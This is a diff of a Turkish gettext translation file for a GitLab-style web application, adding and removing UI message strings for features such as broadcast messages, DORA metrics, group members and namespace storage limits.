msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr "Yayın Mesajı başarıyla güncellendi."
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Dizine Gözat"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,15 +8069,12 @@ msgstr "Åžifrenizi deÄŸiÅŸtirin"
msgid "Change your password or recover your current one"
msgstr "Şifrenizi değiştirin veya mevcut şifrenizi kurtarın"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
-msgid "ChangeReviewer|Unassigned"
-msgstr "Atanmamış"
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Dikkatli seç"
@@ -8220,6 +8355,9 @@ msgstr "Ödemeye devam et"
msgid "Checkout|Country"
msgstr "Ãœlke"
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr "Yeni grup oluÅŸtur"
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr "Alt epik mevcut deÄŸil."
-
-msgid "Child epic doesn't exist."
-msgstr "Alt epik mevcut deÄŸil."
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr "Tür"
@@ -8693,6 +8828,9 @@ msgstr "E-posta adresinizi (%{email}) doğrulamak için aşağıdaki bağlantıy
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "Genişletmek için tıklayın."
@@ -8795,12 +8933,18 @@ msgstr "Kapalı sorunlar"
msgid "Closed this %{quick_action_target}."
msgstr "%{quick_action_target} kapatıldı."
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "%{quick_action_target} bunu kapatır."
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr "Her yeni Google Bulut Platformu (GCP) hesabı %{sign_up_link} üzerinden 300 USD kredi alır. Google partnerliğinde, GitLab, Gitlab'ın Google Kubernetes Motor Entegrasyonu'na başlamak için buna ek olarak aktif ve yeni bir GCP hesabı için 200 USD ek teklif sunabiliyor."
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr "Google Kubernetes Motor Kümesi yapılandırılamadı: %{message}"
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr "Google Bulut Platform isteği başarısız oldu: %{message}"
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr "Kubeclient çalıştırılamadı: %{message}"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab Bütünleşmesi"
@@ -9969,6 +10098,9 @@ msgstr "İlgili birleştirme isteği bulunamadı"
msgid "Committed by"
msgstr "Ä°ÅŸleyen:"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "Topluluk forumu"
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr "Sonraki adıma devam et"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr "Tümü"
msgid "DashboardProjects|Personal"
msgstr "KiÅŸisel"
-msgid "DashboardProjects|Trending"
-msgstr "Öne Çıkanlar"
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr "Hata: Dağıtım dondurma oluşturulamıyor"
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr "BitiÅŸ tarihi:"
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr "Dışa aktar"
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr "Filtrele:"
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr "Git revizyonuna göre filtrele"
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr "GPG Anahtarları"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr "Genel Kısayollar"
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr "GitLab'da ara"
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "Eğer projelerinizi bir grup altında düzenlerseniz, bir klasör gibi çalışır."
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr "Grup bulunamadı"
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr "Grubu içe aktar"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr "Depoları içe aktar"
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr "Görüşler"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr "Son İş Hattı"
msgid "Last Seen"
msgstr "Son Görülme"
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr "Daha fazlasını öğrenin."
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr "Daha sonra iş hattı zamanlamaları belgelerinden"
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr "%{user} tarafından %{time}"
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "Tam değişiklik yüklenirken hata oluştu. Lütfen tekrar deneyin."
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "Dosya bulunamadı"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr "Mesajlar"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "Kapatıldı:"
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "Yeni etiketi adlandır"
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
